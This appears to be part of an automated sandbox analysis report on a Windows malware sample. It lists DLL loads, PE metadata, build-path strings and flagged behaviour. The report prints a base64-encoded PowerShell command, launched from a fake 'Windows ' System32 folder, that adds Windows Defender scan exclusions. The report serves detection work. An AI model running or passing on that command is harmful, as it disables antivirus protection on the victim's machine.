Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\console_zero.exe	Section loaded: libcurl.dll
Source: C:\Windows\System32\console_zero.exe	Section loaded: zlib1.dll
Source: C:\Windows\System32\console_zero.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\console_zero.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\console_zero.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\timeout.exe	Section loaded: version.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll

Source: C:\Windows\System32\bav64.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Found suspicious powershell code related to unpacking or dynamic code loading

Source: dYUteuvmHn.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: dYUteuvmHn.exe

Static file information: File size 1694720 > 1048576

Source: dYUteuvmHn.exe

Static PE information: Raw size of .rdata is bigger than: 0x100000 < 0x16c200

Source: dYUteuvmHn.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: dYUteuvmHn.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: dYUteuvmHn.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: dYUteuvmHn.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: dYUteuvmHn.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: dYUteuvmHn.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: dYUteuvmHn.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: dYUteuvmHn.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: C:\Program Files\vcpkg\buildtrees\curl\x64-windows-rel\lib\libcurl.pdb source: dYUteuvmHn.exe
Source:	Binary string: C:\Program Files\vcpkg\buildtrees\zlib\x64-windows-rel\zlib.pdb## source: dYUteuvmHn.exe
Source:	Binary string: C:\Users\Psiko\software\other\installs bot project\bot_av\build\bot_av.pdb source: bav64.exe, 00000043.00000002.3295608611.00007FF67B99E000.00000002.00000001.01000000.00000018.sdmp
Source:	Binary string: C:\Program Files\vcpkg\buildtrees\openssl\x64-windows-rel\libcrypto-3-x64.pdb source: svchost.exe, 00000037.00000002.3296551400.00007FF8A7B8B000.00000002.00000001.01000000.00000014.sdmp
Source:	Binary string: D:\a\postgresql-packaging-foundation\postgresql-packaging-foundation\postgresql-16.3\Release\libpq\libpq.pdb source: svchost.exe, 00000037.00000002.3297511703.00007FF8B90D8000.00000002.00000001.01000000.00000010.sdmp, libpq.dll.39.dr
Source:	Binary string: D:\a\postgresql-packaging-foundation\postgresql-packaging-foundation\postgresql-16.3\Release\libpq\libpq.pdbJJ source: svchost.exe, 00000037.00000002.3297511703.00007FF8B90D8000.00000002.00000001.01000000.00000010.sdmp, libpq.dll.39.dr
Source:	Binary string: C:\Program Files\vcpkg\buildtrees\zlib\x64-windows-rel\zlib.pdb source: dYUteuvmHn.exe
Source:	Binary string: C:\Program Files\vcpkg\buildtrees\openssl\x64-windows-rel\libssl-3-x64.pdb source: svchost.exe, 00000037.00000002.3297336393.00007FF8B83C0000.00000002.00000001.01000000.00000012.sdmp
Source:	Binary string: PrintUI.pdb source: curlapp64.exe, 00000005.00000003.2494116424.0000022DE271C000.00000004.00000020.00020000.00000000.sdmp, curlapp64.exe, 00000008.00000003.2588007028.0000021656B8E000.00000004.00000020.00020000.00000000.sdmp, curlapp64.exe, 0000000B.00000003.2664811159.000002552EF01000.00000004.00000020.00020000.00000000.sdmp, printui.exe, 00000023.00000000.2665887118.00007FF7ECF42000.00000002.00000001.01000000.00000008.sdmp, printui.exe, 00000024.00000000.2667340965.00007FF7ECF42000.00000002.00000001.01000000.00000008.sdmp, printui.exe, 00000027.00000002.3135736829.00007FF7ECF42000.00000002.00000001.01000000.00000008.sdmp, printui.exe, 00000027.00000000.2670102378.00007FF7ECF42000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: C:\Program Files\vcpkg\buildtrees\openssl\x64-windows-rel\libssl-3-x64.pdb{{ source: svchost.exe, 00000037.00000002.3297336393.00007FF8B83C0000.00000002.00000001.01000000.00000012.sdmp
Source:	Binary string: C:\Users\Psiko\software\other\installs bot project\bot_av\build\bot_av.pdb8 source: bav64.exe, 00000043.00000002.3295608611.00007FF67B99E000.00000002.00000001.01000000.00000018.sdmp
Source:	Binary string: PrintUI.pdbGCTL source: curlapp64.exe, 00000005.00000003.2494116424.0000022DE271C000.00000004.00000020.00020000.00000000.sdmp, curlapp64.exe, 00000008.00000003.2588007028.0000021656B8E000.00000004.00000020.00020000.00000000.sdmp, curlapp64.exe, 0000000B.00000003.2664811159.000002552EF01000.00000004.00000020.00020000.00000000.sdmp, printui.exe, 00000023.00000000.2665887118.00007FF7ECF42000.00000002.00000001.01000000.00000008.sdmp, printui.exe, 00000024.00000000.2667340965.00007FF7ECF42000.00000002.00000001.01000000.00000008.sdmp, printui.exe, 00000027.00000002.3135736829.00007FF7ECF42000.00000002.00000001.01000000.00000008.sdmp, printui.exe, 00000027.00000000.2670102378.00007FF7ECF42000.00000002.00000001.01000000.00000008.sdmp

Source: dYUteuvmHn.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: dYUteuvmHn.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: dYUteuvmHn.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: dYUteuvmHn.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: dYUteuvmHn.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Data Obfuscation

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Anti Malware Scan Interface: FromBase64String('QWRkLU1wUHJlZmVyZW5jZSAtRXhjbHVzaW9uUGF0aCAiJGVudjpTeXN0ZW1Ecml2ZVxXaW5kb3dzIFxTeXN0ZW0zMiI7DQpBZGQtTXBQcmVmZXJlbmNlIC1FeGNsdXNpb25QYXRoICIkZW52OlN5c3RlbURyaXZlXFdpbmRvd3NcU3lzdGVtMz

Suspicious command line found

Source: C:\Windows \System32\printui.exe	Process created: cmd.exe /c powershell -Command "$dec = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QWRkLU1wUHJlZmVyZW5jZSAtRXhjbHVzaW9uUGF0aCAiJGVudjpTeXN0ZW1Ecml2ZVxXaW5kb3dzIFxTeXN0ZW0zMiI7DQpBZGQtTXBQcmVmZXJlbmNlIC1FeGNsdXNpb25QYXRoICIkZW52OlN5c3RlbURyaXZlXFdpbmRvd3NcU3lzdGVtMzIiOw==')); Invoke-Expression $dec;"
Source: C:\Windows \System32\printui.exe	Process created: cmd.exe /c powershell -Command "$dec = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QWRkLU1wUHJlZmVyZW5jZSAtRXhjbHVzaW9uUGF0aCAiJGVudjpTeXN0ZW1Ecml2ZVxXaW5kb3dzIFxTeXN0ZW0zMiI7DQpBZGQtTXBQcmVmZXJlbmNlIC1FeGNsdXNpb25QYXRoICIkZW52OlN5c3RlbURyaXZlXFdpbmRvd3NcU3lzdGVtMzIiOw==')); Invoke-Expression $dec;"			Jump to behavior

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "$dec = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QWRkLU1wUHJlZmVyZW5jZSAtRXhjbHVzaW9uUGF0aCAiJGVudjpTeXN0ZW1Ecml2ZVxXaW5kb3dzIFxTeXN0ZW0zMiI7DQpBZGQtTXBQcmVmZXJlbmNlIC1FeGNsdXNpb25QYXRoICIkZW52OlN5c3RlbURyaXZlXFdpbmRvd3NcU3lzdGVtMzIiOw==')); Invoke-Expression $dec;"
